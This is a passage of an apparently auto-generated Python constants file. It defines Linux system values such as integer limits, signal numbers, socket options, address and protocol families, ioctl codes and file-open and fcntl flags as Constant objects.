Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (9223372036854775807))) INTPTR_MAX = Constant('INTPTR_MAX',(9223372036854775807)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffffffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffffffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (9223372036854775807))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(9223372036854775807)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (9223372036854775807))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(9223372036854775807)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffffffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (9223372036854775807))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(9223372036854775807)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffffffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGBUS = Constant('SIGBUS',7) SIGUSR1 = Constant('SIGUSR1',10) SIGUSR2 = Constant('SIGUSR2',12) SIGSTKFLT = Constant('SIGSTKFLT',16) SIGCHLD = Constant('SIGCHLD',17) SIGCONT = Constant('SIGCONT',18) SIGSTOP = Constant('SIGSTOP',19) SIGTSTP = Constant('SIGTSTP',20) SIGTTIN = Constant('SIGTTIN',21) SIGTTOU = Constant('SIGTTOU',22) SIGURG = Constant('SIGURG',23) SIGXCPU = Constant('SIGXCPU',24) SIGXFSZ = Constant('SIGXFSZ',25) SIGVTALRM = Constant('SIGVTALRM',26) SIGPROF = Constant('SIGPROF',27) SIGWINCH = Constant('SIGWINCH',28) SIGIO = Constant('SIGIO',29) SIGPWR = Constant('SIGPWR',30) SIGSYS = Constant('SIGSYS',31) SIGCLD = Constant('SIGCLD',17) SIGPOLL = Constant('SIGPOLL',29) SIGLOST = Constant('SIGLOST',30) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002) SA_SIGINFO = Constant('SA_SIGINFO',0x00000004) SA_THIRTYTWO = Constant('SA_THIRTYTWO',0x02000000) SA_RESTORER = Constant('SA_RESTORER',0x04000000) SA_ONSTACK = Constant('SA_ONSTACK',0x08000000) SA_RESTART = Constant('SA_RESTART',0x10000000) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NODEFER = Constant('SA_NODEFER',0x40000000) SA_RESETHAND = Constant('SA_RESETHAND',0x80000000) SA_NOMASK = Constant('SA_NOMASK',0x40000000) SA_ONESHOT = Constant('SA_ONESHOT',0x80000000) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',0) SIG_UNBLOCK = Constant('SIG_UNBLOCK',1) SIG_SETMASK = Constant('SIG_SETMASK',2) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) STAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',1) SO_DEBUG = Constant('SO_DEBUG',1) SO_REUSEADDR = Constant('SO_REUSEADDR',2) SO_TYPE = Constant('SO_TYPE',3) SO_ERROR = Constant('SO_ERROR',4) SO_DONTROUTE = Constant('SO_DONTROUTE',5) SO_BROADCAST = Constant('SO_BROADCAST',6) SO_SNDBUF = Constant('SO_SNDBUF',7) SO_RCVBUF = Constant('SO_RCVBUF',8) SO_KEEPALIVE = Constant('SO_KEEPALIVE',9) SO_OOBINLINE = Constant('SO_OOBINLINE',10) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_LINGER = Constant('SO_LINGER',13) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_REUSEPORT = Constant('SO_REUSEPORT',15) SO_PASSCRED = Constant('SO_PASSCRED',16) SO_PEERCRED = Constant('SO_PEERCRED',17) SO_RCVLOWAT = Constant('SO_RCVLOWAT',18) SO_SNDLOWAT = Constant('SO_SNDLOWAT',19) SO_RCVTIMEO = Constant('SO_RCVTIMEO',20) SO_SNDTIMEO = Constant('SO_SNDTIMEO',21) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30) SO_PEERSEC = Constant('SO_PEERSEC',31) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_PROTOCOL = Constant('SO_PROTOCOL',38) SO_DOMAIN = Constant('SO_DOMAIN',39) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) O_ACCMODE = Constant('O_ACCMODE',0o003) O_RDONLY = Constant('O_RDONLY',0o0) O_WRONLY = Constant('O_WRONLY',0o1) O_RDWR = Constant('O_RDWR',0o2) O_CREAT = Constant('O_CREAT',0o100) O_EXCL = Constant('O_EXCL',0o200) O_NOCTTY = Constant('O_NOCTTY',0o400) O_TRUNC = Constant('O_TRUNC',0o1000) O_APPEND = Constant('O_APPEND',0o2000) O_NONBLOCK = Constant('O_NONBLOCK',0o4000) O_NDELAY = Constant('O_NDELAY',0o4000) O_DSYNC = Constant('O_DSYNC',0o10000) FASYNC = Constant('FASYNC',0o20000) O_DIRECTORY = Constant('O_DIRECTORY',0o40000) O_NOFOLLOW = Constant('O_NOFOLLOW',0o100000) O_DIRECT = Constant('O_DIRECT',0o200000) O_LARGEFILE = Constant('O_LARGEFILE',0) O_NOATIME = Constant('O_NOATIME',0o1000000) O_CLOEXEC = Constant('O_CLOEXEC',0o2000000) O_SYNC = Constant('O_SYNC',(0o10000|0o4000000)) O_PATH = Constant('O_PATH',0o10000000) __O_TMPFILE = Constant('__O_TMPFILE',0o20000000) F_DUPFD = Constant('F_DUPFD',0) F_GETFD = Constant('F_GETFD',1) F_SETFD = Constant('F_SETFD',2) F_GETFL = Constant('F_GETFL',3) F_SETFL = Constant('F_SETFL',4) F_GETLK = Constant('F_GETLK',5) F_SETLK = Constant('F_SETLK',6) F_SETLKW = Constant('F_SETLKW',7) F_SETOWN = Constant('F_SETOWN',8) F_GETOWN = Constant('F_GETOWN',9) F_SETSIG = Constant('F_SETSIG',10) F_GETSIG = Constant('F_GETSIG',11) F_GETLK64 = Constant('F_GETLK64',12) F_SETLK64 = Constant('F_SETLK64',13) F_SETLKW64 = Constant('F_SETLKW64',14) FD_CLOEXEC = Constant('FD_CLOEXEC',1) F_RDLCK = Constant('F_RDLCK',0) F_WRLCK = Constant('F_WRLCK',1) F_UNLCK = Constant('F_UNLCK',2) F_EXLCK = Constant('F_EXLCK',4) F_SHLCK = Constant('F_SHLCK',8) F_INPROGRESS = Constant('F_INPROGRESS',16) LOCK_SH = Constant('LOCK_SH',1) LOCK_EX = Constant('LOCK_EX',2) LOCK_NB = Constant('LOCK_NB',4) LOCK_UN = Constant('LOCK_UN',8) LOCK_MAND = Constant('LOCK_MAND',32) LOCK_READ = Constant('LOCK_READ',64) LOCK_WRITE = Constant('LOCK_WRITE',128) LOCK_RW = Constant('LOCK_RW',192) O_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o40000)) O_ASYNC = Constant('O_ASYNC',0o20000) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) 